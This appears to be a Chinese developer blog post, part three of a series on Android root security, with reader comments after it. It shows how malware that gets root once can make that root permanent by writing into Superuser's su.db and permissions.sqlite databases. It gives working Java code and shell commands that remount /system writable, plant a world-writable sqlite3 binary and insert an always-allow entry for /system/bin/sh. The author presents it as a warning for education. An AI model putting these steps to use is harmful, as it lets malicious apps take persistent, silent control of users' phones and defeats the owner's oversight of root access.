`
su1216
  • 浏览: 671035 次
  • 性别: Icon_minigender_1
  • 来自: 北京
博客专栏
Group-logo
深入入门正则表达式(jav...
浏览量:71921
E60283d7-4822-3dfb-9de4-f2377e30189c
android手机的安全问...
浏览量:128772
社区版块
存档分类
最新评论

android手机root后的安全问题 (三)

阅读更多

导读:本文介绍病毒如何篡改superuser,使得用户只是允许病毒请求的一次root权限变成允许病毒永久使用root权限。

 

 

继续之前两篇文章写,如果路过的同学有疑问,请先看前两篇

有同学说,你的Fake.apk需要把应用copy到system下才行,这是需要root权限的。如果用户允许了你一次root请求,你当着用户的面copy,那么copy之后,系统会发送广播,告知有新的apk被安装,杀毒软件就会发现你。

是的,这确实是个问题,但是病毒就是病毒,总会想办法让你病倒的,别急。

 

superuser把数据记录到数据库中,那病毒为什么不去修改你的数据库呢?如果修改成功,那么岂不是永久获得了root权限,以后再也用不着你来批准我了,我自己批准!

 

很不幸,病毒如果获得了一次root权限,那么上面所说的事情是完全可以做到的。

我们来演示一下,我手机中装有superuser,版本为3.0.7

我还装了一个re管理器

 

首先,我们打开re管理器,这时候re管理器请求使用root权限,superuser会弹出提示,询问用户是否允许

我们点击允许之前,勾选“记住”,然后允许。

这一步是为了获取:应用获得永久root权限时,应该在superuser数据库插入什么样的数据。

 

然后我们将数据库导出

/data/data/com.noshufou.android.su/databases下面有两个数据库我们需要关注

su.db

permissions.sqlite

我们以permissions.sqlite为例,下图为表结构:

 

然后来看看病毒应该如何修改数据

病毒只需要关心几个字段

uid,包名,应用名,exec_uid=0,exec_cmd=/system/bin/sh,allow=1

病毒如何获得自己的包名和应用名,这个大家没什么疑问吧

ActivityManager.RunningAppProcessInfo中含有uid的信息

下面的代码可以获得当前应用的uid

public static int getUid(Context context,String packageName){
	ActivityManager activityManager = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE);
	List<ActivityManager.RunningAppProcessInfo> runningAppProcesses = activityManager.getRunningAppProcesses();
	int size = runningAppProcesses.size();
	ActivityManager.RunningAppProcessInfo runningAppProcessInfo = null;
	for (int i = 0; i < size; i++) {
		runningAppProcessInfo = runningAppProcesses.get(i);
		if(packageName.equals(runningAppProcessInfo.processName)){
			return runningAppProcessInfo.uid;
		}
	}
	return -1;
}

好了,这个表已经搞定了,su.db和这个几乎一样,也就不再演示了。

 

最后的问题是,如何修改手机中的数据库,显然,我们使用sqlite3,但是有的手机居然没有这个问题,所以病毒很可能自己捆绑了一个,然后复制到system/bin或者system/xbin中

sqlite3从哪来?哪都有。。比如你可以从模拟器pull出来一份。

 

好了,全部搞定了

最终我们分两步

1准备sqlite3这个文件,以防万一

prepareButton.setOnClickListener(new View.OnClickListener() {
	public void onClick(View v) {
		File dataFolder = getFilesDir();
    File sqlite = new File(dataFolder.getAbsolutePath() + "/sqlite3");
    copyFile("db/sqlite3", sqlite, mResources);
	}
});

2申请root权限,一旦成功,那就修改数据库

String sqlUpdateSu = "insert into apps (uid,package,name,exec_uid,exec_cmd,allow,dirty)" +
							"values (\""+ uid + "\",\"" + packageName + "\",\"" + name + "\",0,\"/system/bin/sh\",1,0) ";
String sqlInsertPermissions = "insert into apps (uid,package,name,exec_uid,exec_cmd,allow) " +
													"values (\""+ uid + "\",\"" + packageName + "\",\"" + name + "\",\"0\",\"/system/bin/sh\",\"1\") ";

String[] commands = {"busybox mount -o remount,rw /system"
							,"ls /system/bin/sqlite3 || ls /system/xbin/sqlite3 || busybox cp /data/data/" + packageName + "/files/sqlite3 /system/xbin/sqlite3 && chmod 777 /system/xbin/sqlite3"
                    ,"busybox rm /data/data/" + packageName + "/files/sqlite3"
                    ,"sqlite3 /data/data/com.noshufou.android.su/databases/su.db '" + sqlUpdateSu + "'"
                    ,"sqlite3 /data/data/com.noshufou.android.su/databases/permissions.sqlite '" + sqlInsertPermissions + "' "};

执行即可

 

从此,病毒就脱离你的掌控了,一发不可收拾

 

 

结语

由于本博客只是用于演示,所以有些不严密的地方。

比如:首次使用superuser之前,它的数据库的表可能还没有创建,所以有些sql操作可能会失败

我也不打算写个完整的病毒,这样一些人就会想着干一些不干净的事情。仅供学习交流

 

看来大家每次批准root之后,还要去superuser中的列表看看有没有什么异常才行

 

请大家不要用root的手机随意下载软件,更不要以任何借口制造任何病毒!

 

android手机root后的安全问题 (一)

android手机root后的安全问题 (二)

android手机root后的安全问题 (三)

android手机root后的安全问题 (四)

 

 

android安全问题(一) 静音拍照与被拍

android安全问题(二) 程序锁

android安全问题(三) 钓鱼程序

 

 

 

转贴请保留以下链接

本人blog地址

http://su1216.iteye.com/

http://blog.csdn.net/su1216/

 

  • 大小: 12.3 KB
  • 大小: 7 KB
2
3
分享到:
评论
7 楼 su1216 2013-05-19  
qhncxf 写道
你好,这里介绍的插入更新数据库数据,我用到4.0,不能插入更新数据库呀,哎!请教是什么问题

什么叫不能?
6 楼 qhncxf 2013-05-18  
你好,这里介绍的插入更新数据库数据,我用到4.0,不能插入更新数据库呀,哎!请教是什么问题
5 楼 kaedeno1 2013-03-19  
亲啊 name是中文的话 显示乱码...
请问下怎么调吗 哪里设置字符集??
4 楼 su1216 2013-01-04  
tjwink 写道
既然已经知道su的数据库地址,可以直接用DBOpenHelper来打开这个数据库吗?

DBOpenHelper不能指定其他应用下的数据库吧
3 楼 tjwink 2013-01-04  
既然已经知道su的数据库地址,可以直接用DBOpenHelper来打开这个数据库吗?
2 楼 su1216 2012-09-05  
zuoshu 写道
呵呵,写的不错。请教下LZ现在从事哪方面的工作阿?


android系统移植,app开发维护
1 楼 zuoshu 2012-09-05  
呵呵,写的不错。请教下LZ现在从事哪方面的工作阿?

相关推荐

    android手机root检测

    标题提到的"android手机root检测"是指检查Android设备是否已经获取了root权限的过程。这个过程对于应用开发者和安全专家来说尤其重要,因为他们需要确保其应用不会在被root的设备上运行,因为这可能会导致数据泄露或...

    android手机root后的安全问题 (一)

    NULL 博文链接:https://su1216.iteye.com/blog/1668734

    Android root下修改设备分辨率

    5. **恢复方法**:如果修改后出现问题,可以尝试恢复备份的系统镜像,或者使用一些Root管理工具如SuperSU或Magisk进行系统还原。如果设备因错误修改而无法启动,可能需要通过fastboot模式或ODIN工具刷入新的系统固件...

    中兴U880 Android手机root工具 SuperOneClick

    【中兴U880 Android手机root工具 SuperOneClick】是一种专门为中兴U880智能手机设计的便捷Root工具,其主要目标是帮助用户获取设备的最高管理权限,即所谓的Root权限。在Android系统中,Root权限相当于Windows系统中...

    android手机root工具

    这是一个工具,帮你获取android手机的root权限。让你不受控制,当然,这可能也给你手机带来一些安全问题,所以请慎重。

    Android设备上非root的抓包实现方法(Tcpdump方法)

    由于Android系统的安全机制,大多数应用程序没有root权限,因此不能直接使用tcpdump工具进行抓包。然而,通过一些特殊的技术手段,我们可以在非root的Android设备上实现抓包功能。 首先,理解tcpdump的运行需求。...

    索尼 android手机 无痛root

    【标题】"索尼Android手机无痛root"涉及的是在不造成设备损坏或数据丢失的情况下,对索尼Android手机进行超级用户权限获取的过程。Root是Android系统中的一个术语,它指的是允许用户获得系统的最高权限,以便可以...

    android手机获取root权限详细教程资料.pdf

    Android手机获取root权限是许多高级用户为了更深度定制和优化设备所采取的步骤。Root权限类似于Linux系统中的超级管理员账户,允许用户访问和修改手机的底层文件,包括系统核心和设置。这种权限通常由手机制造商限制...

    Android-root.rar_ROOT_android root_root android

    下面我们将详细探讨Android手机终端上的root用户命令合辑及其用法。 1. **获取Root权限**:首先,获取root权限是整个过程的基础。这通常需要通过第三方工具或服务,如Magisk、SuperSU等。每个工具都有其特定的流程...

    android智能手机百分百 root成功软件

    在Android操作系统的世界里,"root"一词代表着...root后,手机的安全性可能会降低,容易受到恶意软件攻击。此外,root可能违反手机厂商的保修政策,导致保修失效。因此,在决定root前,请充分了解其利弊,谨慎操作。

    Android获取root权限工具

    3. **安全更新**: 获取root权限后,可能无法接收官方的安全更新,需要自行保持警惕,防范潜在的安全威胁。 4. **恢复出厂设置**: 如果root过程失败或遇到问题,可能需要将设备恢复出厂设置,这将清除所有数据。 ...

    Android手机ROOT权限详细说明.doc

    Android手机的ROOT权限是一个关键的概念,尤其对于那些喜欢深入探索和自定义设备的用户来说。在Android系统中,"ROOT"是指获取手机操作系统最高级别的权限,相当于Linux系统中的超级管理员用户账户,也就是root用户...

    android获取root权限

    在Android操作系统中,获取root权限是一项关键操作,它允许用户超越默认的系统限制,访问和修改系统的底层组件。...对于想要深入定制手机或解决特定问题的用户,掌握如何安全有效地获取和管理root权限至关重要。

    Android例子源码不弹框手机是否Root检测例子

    现在,我们来看判断Android手机是否已Root的三种方法: 1. **检查已知Root应用是否存在**:这种方法简单直接,通过查找已知的Root管理应用(如SuperSU、Magisk等)的系统文件或服务来判断。例如,可以检查/system/...

    mtk6577 android4.0 root工具

    5. **后root维护**:成功root后,用户应安装一个如SuperSU这样的管理应用来控制各个应用的root权限,并定期更新以防止已知的安全漏洞。 6. **恢复原状**:如果用户不再需要root权限或遇到问题,可以通过unroot工具...

    android手机获取root权限教程

    ### Android手机获取Root权限教程详解 #### Root权限概念与重要性 **Root权限**,对于Android设备来说,意味着用户能够获得对其操作系统最高级别的控制权。这一权限赋予了用户修改或替换设备操作系统的能力,几乎...

    一加手机ROOT

    三、一加手机ROOT的风险与注意事项 1. 安全隐患:ROOT后,系统更容易受到恶意软件攻击,因为攻击者可以利用系统漏洞。 2. 保修失效:大多数厂商不支持ROOT设备,可能会影响保修服务。 3. 系统稳定性:不恰当的...

    KSP8000手机root

    【KSP8000手机Root详解】 Root是Android系统中的一个术语,指的是获取设备的最高权限,类似于Windows系统的管理员权限。Root后,用户可以访问并修改系统级别的文件,安装自定义固件、删除预装应用,优化系统性能,...

    华为手机root软件

    【华为手机root软件】 华为手机root工具是一种专为华为设备设计的软件,旨在获取手机的最高权限,即root权限。root是Android系统中的一个概念,代表着用户能够对系统进行深层次的定制和修改,不受厂商预装应用和...

    AndroidROOT教程

    这篇"Android ROOT教程"旨在帮助安卓手机用户了解并实现ROOT权限的获取。 首先,我们要明确ROOT的风险。虽然ROOT可以带来诸多便利,如删除预装应用、优化电池性能等,但也可能导致系统不稳定,甚至丢失保修。因此,...

Global site tag (gtag.js) - Google Analytics